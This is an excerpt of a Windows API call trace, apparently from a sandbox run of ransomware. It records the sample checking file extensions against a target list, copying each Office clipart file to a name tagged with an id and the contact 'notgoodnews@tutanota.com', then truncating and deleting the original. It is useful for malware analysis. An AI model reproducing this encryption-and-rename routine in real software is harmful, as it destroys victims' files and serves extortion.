(lpString1=".doc", lpString2=".WMF") returned -1 [0079.038] lstrlenW (lpString=".docx") returned 5 [0079.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.038] lstrlenW (lpString=".pdf") returned 4 [0079.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.038] lstrlenW (lpString=".xls") returned 4 [0079.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.038] lstrlenW (lpString=".xlsx") returned 5 [0079.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.038] lstrlenW (lpString=".ppt") returned 4 [0079.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.038] lstrlenW (lpString=".zip") returned 4 [0079.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.038] lstrlenW (lpString=".rar") returned 4 [0079.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.038] lstrlenW (lpString=".bz2") returned 4 [0079.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.038] lstrlenW (lpString=".7z") returned 3 [0079.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.039] lstrlenW (lpString=".dbf") returned 4 [0079.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.039] lstrlenW (lpString=".1cd") returned 4 [0079.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.039] lstrlenW (lpString=".jpg") returned 4 [0079.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.039] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.039] lstrlenW (lpString="BL00105_.WMF") returned 12 [0079.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.039] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=880) returned 1 [0079.039] CloseHandle (hObject=0x33c) returned 1 [0079.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0079.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.040] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.040] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.040] GetLastError () returned 0x0 [0079.040] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x370, lpOverlapped=0x0) returned 1 [0079.042] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x380, lpOverlapped=0x0) returned 1 [0079.043] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.043] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.043] SetEndOfFile (hFile=0x388) returned 1 [0079.043] CloseHandle (hObject=0x388) returned 1 [0079.044] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.044] SetEndOfFile (hFile=0x33c) returned 1 [0079.045] CloseHandle (hObject=0x33c) returned 1 [0079.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0079.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.046] lstrlenW (lpString=".doc") returned 4 [0079.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString=".docx") returned 5 [0079.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.046] lstrlenW (lpString=".pdf") returned 4 [0079.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString=".xls") returned 4 [0079.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.046] lstrlenW (lpString=".xlsx") returned 5 [0079.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.046] lstrlenW (lpString=".ppt") returned 4 [0079.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.046] lstrlenW (lpString=".zip") returned 4 [0079.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.046] lstrlenW (lpString=".rar") returned 4 [0079.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString=".bz2") returned 4 [0079.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString=".7z") returned 3 [0079.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.046] lstrlenW (lpString=".dbf") returned 4 [0079.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.046] lstrlenW (lpString=".1cd") returned 4 [0079.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.046] lstrlenW (lpString=".jpg") returned 4 [0079.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.047] lstrlenW (lpString=".doc") returned 4 [0079.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.047] lstrlenW (lpString=".docx") returned 5 [0079.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.047] lstrlenW (lpString=".pdf") returned 4 [0079.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.047] lstrlenW (lpString=".xls") returned 4 [0079.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.047] lstrlenW (lpString=".xlsx") returned 5 [0079.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.047] lstrlenW (lpString=".ppt") returned 4 [0079.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.047] lstrlenW (lpString=".zip") returned 4 [0079.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.047] lstrlenW (lpString=".rar") returned 4 [0079.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.047] lstrlenW (lpString=".bz2") returned 4 [0079.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.047] lstrlenW (lpString=".7z") returned 3 [0079.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.047] lstrlenW (lpString=".dbf") returned 4 [0079.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.047] lstrlenW (lpString=".1cd") returned 4 [0079.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0079.047] lstrlenW (lpString=".jpg") returned 4 [0079.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.047] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.048] lstrlenW (lpString="BL00122_.WMF") returned 12 [0079.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.048] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=10146) returned 1 [0079.048] CloseHandle (hObject=0x33c) returned 1 [0079.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0079.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.048] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.048] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.049] GetLastError () returned 0x0 [0079.049] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x27a2, lpOverlapped=0x0) returned 1 [0079.475] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x27b0, lpOverlapped=0x0) returned 1 [0079.476] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.476] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.476] SetEndOfFile (hFile=0x388) returned 1 [0079.945] CloseHandle (hObject=0x388) returned 1 [0080.189] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.189] SetEndOfFile (hFile=0x33c) returned 1 [0080.222] CloseHandle (hObject=0x33c) returned 1 [0080.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0080.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.222] lstrlenW (lpString=".doc") returned 4 [0080.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.222] lstrlenW (lpString=".docx") returned 5 [0080.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.222] lstrlenW (lpString=".pdf") returned 4 [0080.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.222] lstrlenW (lpString=".xls") returned 4 [0080.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.222] lstrlenW (lpString=".xlsx") returned 5 [0080.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.222] lstrlenW (lpString=".ppt") returned 4 [0080.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.223] lstrlenW (lpString=".zip") returned 4 [0080.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.223] lstrlenW (lpString=".rar") returned 4 [0080.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.223] lstrlenW (lpString=".bz2") returned 4 [0080.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.223] lstrlenW (lpString=".7z") returned 3 [0080.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.223] lstrlenW (lpString=".dbf") returned 4 [0080.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.223] lstrlenW (lpString=".1cd") returned 4 [0080.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.223] lstrlenW (lpString=".jpg") returned 4 [0080.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.223] lstrlenW (lpString=".doc") returned 4 [0080.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.223] lstrlenW (lpString=".docx") returned 5 [0080.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.223] lstrlenW (lpString=".pdf") returned 4 [0080.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.224] lstrlenW (lpString=".xls") returned 4 [0080.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.224] lstrlenW (lpString=".xlsx") returned 5 [0080.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.224] lstrlenW (lpString=".ppt") returned 4 [0080.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.224] lstrlenW (lpString=".zip") returned 4 [0080.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.224] lstrlenW (lpString=".rar") returned 4 [0080.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.224] lstrlenW (lpString=".bz2") returned 4 [0080.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.224] lstrlenW (lpString=".7z") returned 3 [0080.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.224] lstrlenW (lpString=".dbf") returned 4 [0080.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.224] lstrlenW (lpString=".1cd") returned 4 [0080.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0080.224] lstrlenW (lpString=".jpg") returned 4 [0080.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.224] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.224] lstrlenW (lpString="BL00262_.WMF") returned 12 [0080.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.225] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2556) returned 1 [0080.225] CloseHandle (hObject=0x33c) returned 1 [0080.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0080.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.225] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.225] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.225] GetLastError () returned 0x0 [0080.225] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0080.227] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xa00, lpOverlapped=0x0) returned 1 [0080.228] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.228] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.228] SetEndOfFile (hFile=0x354) returned 1 [0080.228] CloseHandle (hObject=0x354) returned 1 [0080.229] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.229] SetEndOfFile (hFile=0x33c) returned 1 [0080.230] CloseHandle (hObject=0x33c) returned 1 [0080.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0080.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.230] lstrlenW (lpString=".doc") returned 4 [0080.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString=".docx") returned 5 [0080.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.231] lstrlenW (lpString=".pdf") returned 4 [0080.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString=".xls") returned 4 [0080.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.231] lstrlenW (lpString=".xlsx") returned 5 [0080.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.231] lstrlenW (lpString=".ppt") returned 4 [0080.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.231] lstrlenW (lpString=".zip") returned 4 [0080.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.231] lstrlenW (lpString=".rar") returned 4 [0080.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString=".bz2") returned 4 [0080.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString=".7z") returned 3 [0080.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.231] lstrlenW (lpString=".dbf") returned 4 [0080.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.231] lstrlenW (lpString=".1cd") returned 4 [0080.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.231] lstrlenW (lpString=".jpg") returned 4 [0080.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.231] lstrlenW (lpString=".doc") returned 4 [0080.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.231] lstrlenW (lpString=".docx") returned 5 [0080.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.231] lstrlenW (lpString=".pdf") returned 4 [0080.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.232] lstrlenW (lpString=".xls") returned 4 [0080.232] lstrcmpiW (lpString1=".xls", 